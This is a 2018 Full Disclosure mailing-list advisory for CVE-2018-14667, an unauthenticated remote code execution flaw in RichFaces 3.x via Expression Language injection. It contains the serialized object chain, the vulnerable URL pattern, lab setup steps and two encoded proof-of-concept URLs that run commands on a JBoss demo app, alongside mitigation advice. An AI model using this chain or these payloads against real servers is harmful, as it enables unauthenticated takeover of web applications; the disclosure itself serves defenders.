Message-ID: <CAB8YU4Rm_Q=brKYM0Ob_u6J9+me5MCPDJdAY9MKj4jZqh6rPww@mail.gmail.com>
Date: Mon, 19 Nov 2018 04:01:05 -0300
From: Joao F M Figueiredo <joao.matosf@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Unauthenticated Remote Code execution in WebApps using
 Richfaces 3.X all versions (CVE-2018-14667)

Original report+advisories:

TITLE:
====================
Unauthenticated Remote Code execution in WebApps using Richfaces 3.X all
versions.

RESUME
====================
RichFaces Framework 3.X through 3.3.4 (all versions) is vulnerable to
Expression Language (EL)
Injection via UserResource resource, allowing an unauthenticated remote
attacker to execute Java
arbitrary code and potentialy OS commanding using a special chain of java
serialized objects
inside a org.ajax4jsf.resource.UserResource$UriData.

DETAILS
====================
PS: others details can be seen on the slides:
https://www.slideshare.net/joaomatosff/a-little-bit-about-code-injection-in-webapplication-frameworks-cve201814667-h2hc-2018

The Richfaces expects to receive a serialized resource of the type
"org.ajax4jsf.resource.UserResource"
via URLs with the pattern:
"/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/s/{HashCode of the
MimeType Resource}/DATA/{Encoded Serialized Object}".
When this occurs, a check of allowed types is made using a restrict
whitelist (Look-Ahead) in order to
avoid deserialization vulnerabilities.

Following is the Look-Ahead strict whitelist with the allowed types:

1) org.ajax4jsf.resource.InternetResource
2) org.ajax4jsf.resource.SerializableResource
3) javax.el.Expression
4) javax.faces.el.MethodBinding
5) javax.faces.component.StateHolderSaver
6) java.awt.Color

However, although it is not vulnerable to deserialization, it is possible
to construct a special chain
of objects using only allowed types and containing a tainted Expression
Language (EL) in a specific way
that result in it being automatically evaluated by the UserResource class
after the correct deserialization
of the chain (after the cast, not before).

In order to be vulnerable, an application only need to:

1) Use the mediaOutput feature in any point at any time (the attacker don't
need to know where this feature
   is used. It just needs that this functionality had been used at any time
by the application).

If the point (1) is satisfied, the application will contains a resource
inside an internal HashMap with the
key like the following:

                           /----- Resource Name
                          \/
Key: org.ajax4jsf.resource.UserResource/n/s/-1487394660 <--- HasCode of
resource MimeType (eg "image/jpeg")
                                                                  /\ /\
                                                                  |   \____
if the resource is of session scope (/s) or not (/n)
                                                                   \_______
if the resource is cacheable (/c) or not cacheable (/n)

The original intent of the UserResource is to create or restore a resource
(like images, flash, audio, etc)
and send it back/draw to the user. So, this is one of the most commons
features used by richfaces web
applications.

An attacker can abuse of this feature forcing the application to evaluate
his tainted EL using a chain like
the following:

1] [Obj] org.ajax4jsf.resource.UserResource$UriData
         createContent:
2]         [Obj]javax.faces.component.StateHolderSaver
                savedState:
3]                [Obj] com.sun.facelets.el.TagMethodExpression
                        orig:
4]                         [obj] org.jboss.el.MethodExpressionImpl
                                 exp:
                                   "${OUR PAYLOAD}"                 <-----
The malicious EL can be put here.

In the previous chain, notice that all types used are allowed by the
look-ahead protection:

1] "org.ajax4jsf.resource.UserResource$UriData" is an
"InternetResourceBase" that is an "InternetResource"
   (whitelisted);
2] "javax.faces.component.StateHolderSaver" (whitelisted)
3] "com.sun.facelets.el.TagMethodExpression" is an "MethodExpression" that
is and "Expression" (whitelisted)
4] "org.jboss.el.MethodExpressionImpl" is and "MethodExpression"
(whitelisted)

Notice that the points [2] and [3] of the chain can also be changed in
order to exploit different platforms.

After create the exploit chain, it is needed to encode it properly and make
an HTTP GET in the proper
UserResource URL with the payload.
eg. /a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/{hashCode
of mime}/payload

The {hashCode of MimeType} is not always needed (depends on how the
application uses these features).

When the payload is received by the app, the chain is deserialized and the
UserResource.send() method
is invoked by the ResourceLifecycle.sendResource(). Inside this method, the
content of UserResource$UriData
is restored and our MethodExpression is invoked. Thus, our tainted data
(EL) has reached a taint sink
(MethodExpression.invoke()), leading to the EL evaluation.

Stacktrace example:

org.jboss.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:276)  <-
This contains user controlled data!
org.ajax4jsf.resource.UserResource.send(UserResource.java:109)
org.ajax4jsf.resource.ResourceLifecycle.sendResource(ResourceLifecycle.java:221)
org.ajax4jsf.resource.ResourceLifecycle.send(ResourceLifecycle.java:148)
org.ajax4jsf.resource.InternetResourceService.serviceResource(InternetResourceService.java:226)
org.ajax4jsf.resource.ResourceBuilderImpl.decrypt(ResourceBuilderImpl.java:626)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(ResourceBuilderImpl.java:371)
org.ajax4jsf.resource.InternetResourceService.serviceResource(InternetResourceService.java:156)
org.ajax4jsf.resource.InternetResourceService.serviceResource(InternetResourceService.java:141)


# PROOF OF CONCEPT #
====================
PS: You can see PoCs using JBoss and Tomcat in the following video:
https://www.youtube.com/watch?v=HR7-nL5G91w

In order to demonstrate this vulnerability, we can deploy a richfaces demo
application in a Java Application
Server/Container (eg. JBoss, tomcat, Jetty, WebLogic, etc).

For the PoC, let's use the following configuration:

1) Photoalbum demo application (that uses Richfaces v 3.3.4)
2) JBoss AS 5.1.0.GA <http://5.1.0.ga/> or JBoss EAP 5.1.2

* Deploying the lab:

1) Get the demo app:
http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
2) Extract the richfaces-examples-3.3.4.Final.zip
3) Copy the app in
richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear
to the JBoss deploy dir
   in jboss-5.1.0.GA/server/default/deploy
<http://jboss-5.1.0.ga/server/default/deploy> (for 5.1.0.GA
<http://5.1.0.ga/>) or jboss-eap-5.1/jboss-as/server/default/deploy (for
5.1.2 eap)
4) Start JBoss Application Server: cd bin ; ./run.sh -b 0.0.0.0
5) Open the photoalbum index page. Eg. http://192.168.0.1:8080/photoalbum/
6) Use the following PoCs (tested in JBoss EAP 5.1.2 and JBoss AS 5.1.0.GA
<http://5.1.0.ga/>)

1) (LINUX) Execute command: touch /tmp/richfaces0day_joaomatosf
eg.
http://192.168.0.1:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAFdUs9r1EAY!bpYrL9ArSgehBqL7YpMBGsRakFai1Z2LXStoB7k2-Tb7IRkZpyZtKml3rwoePHqzate7MGz14KX!g2CiAgiiFdnksXS5pJ84c17b9773v-EYaPhktQJwxTLqdT0mCYjCx0RWzGklwfD-Irmt9Ai-Gf02o8GHGjBsUgTWpqXwpKwFk62UlzFMEORhEvdlCI704KDVCruOJ!CcxhqwUguY97jFA!m4VXMCqqGUjkvFz1FyXoYkWGRzJUUjpt1rBO6I7OYdAdXST!c3pp98!ZLuwGNFhyKMjTmHua010PHai4S5-GwcWfiisPC6doll2GHNMeMP8NuRjOl8vITTpKZQlQGMrKGUcbuY9Im25fxQqncTQyXosoBYOgoQKnhbG3aQffjPobbr77-nXrdqHCj!3G7TO9evOz8frRzwyO8g!O-jLQrTSW9n28xV1n315k!Rz6faHttH9zI2ifYGt8IApaQnfdRTDZZT2ofyGRQS5pIc-VirF4LIuGC2igwIR00maC1RWEsiojcSUdSA-bWBwzGYcj1VJMx3y9bLoTlOXn04NMdpZKiyQkri6g!FtpchZpH!arKKzGuP0klyhytNL2JZtDcBCg0jD6u6qhJB4V92Hnw7fu5jdtVJC7phoVT!hqMS7ZUWFVYByTMLRyvfleG6oVTqlxrwd0w4bZfdP0ChbuqYUqlD3bs5tXpy9PXx!as72xwYSOnmOMcoWBKS7eAZjNwa6H-AZCFGGE_

2) (MACOS) Open Calculator
eg.
http://192.168.0.1:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAFdUk1rFEEQrSwG4xeoEcWDEMdgsiI9B2MQYkCzBo3sGsgaQXOqna2d9DDT3Xb37I4u8eZFwYtXb171oOIP8Brwkt8giIgggni1e2ZRkr5M1!Dqvdev6s0PGDcaLkgdM0ywmEtMj2kyMtcRsXVDem1UTK9rfgMtgj-Tl7!XYF8TjkSa0FJDCkvCWjjeTLCPYYoiDlc7CUV2oQn7qVDccT6EJzDWhIlMdnmPU3dUj!cxzaksCuW8nPcUBethRIZFMlNSOG7Wtk7olky7pNvYJ31!-8Piy1efWzWoNeFAlKIxdzCj3R7aVnMROw8HjevplhwWTlYuuQzbpDmm!DF2UloolJefcZLM5KI0kJI1jFJ2F-MW2U3ZXS6Ue4nhUpQ5AIwdBig0nK5MO-he3Ptw-!mXP3MvaiVu8h!uP9Prp8!avx7sXPUI7-CsH0bSkaaU3su3kqm08!PU70OfjrW8tg9uYvAR3k0Pg4DFZBs-itk660ntA5kNKkkTaa5cjOVnWcRcUAsFxqSDOhM0WBHGoojIdTqSCrD0aMRgHIbcnCoy5ufL1nJheUYePbq6Vioomp2RisRUeF2plEdoXVgmbGAa5SlaqRkqNVMP6lsAuYbJjXIYFeVoXG937n39dmZ4swzE5VyzcMI!gnHJVnOrcuuAhJmFo-Xv0k61bkoVgybcDmNuN!OOX58wkSgzJ2x6YUKFj3Xq2qX5i!NXpnYt72JwbphRl-MSoWBKS7d-ZitwS6H-Ahv8F1M_

PS: before execute the HTTP GET with the PoCs, you need to open the index
page of the app (eg. http://192.168.0.1:8080/photoalbum/).

PS: Note that for other application servers, you may need to generate other
payloads.


MITIGATION ADVICES
====================
Since richfaces has reached the end of life, users should apply their own
fix. As a suggestion
users can perform the sanitization of any EL received from the untrusted
sources (tainted) or
even to disable EL evaluation in the Richfaces.

As the execution is triggered internally by the Richfaces lib, you can
follow some paths, eg:
Whenever your application receives a serialized object that will be catched
by the richfaces,
the method getResourceDataForKey of the class ResourceBuilderImpl invokes
the class
LookAheadObjectInputStream which will ensure that only the whitelisted
types can be
deserilized. After that, you can include a second whitelist to ensure that
only trusted ELs
used by your application can be allowed.


FINAL CONSIDERATIONS
====================
RedHat rated this with CVSS3 Base Score 9.8 and issued the cve id
CVE-2018-14667.
Ref: https://access.redhat.com/security/cve/cve-2018-14667

Until now, they released the following advisories about affected products:
https://access.redhat.com/errata/RHSA-2018:3517
https://access.redhat.com/errata/RHSA-2018:3518
https://access.redhat.com/errata/RHSA-2018:3519
https://access.redhat.com/errata/RHSA-2018:3581

Since Richfaces framework is used by many private and opensource projects,
it is very important
to check your assets to ensure that you are not vulnerable.

---------------
Joao Filho Matos Figueiredo
https://github.com/joaomatosf
Twitter @joaomatosf

------
João F M Figueiredo
https://twitter.com/joaomatosf
https://hackerone.com/joaomatosf <http://lattes.cnpq.br/9638348593991566>

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists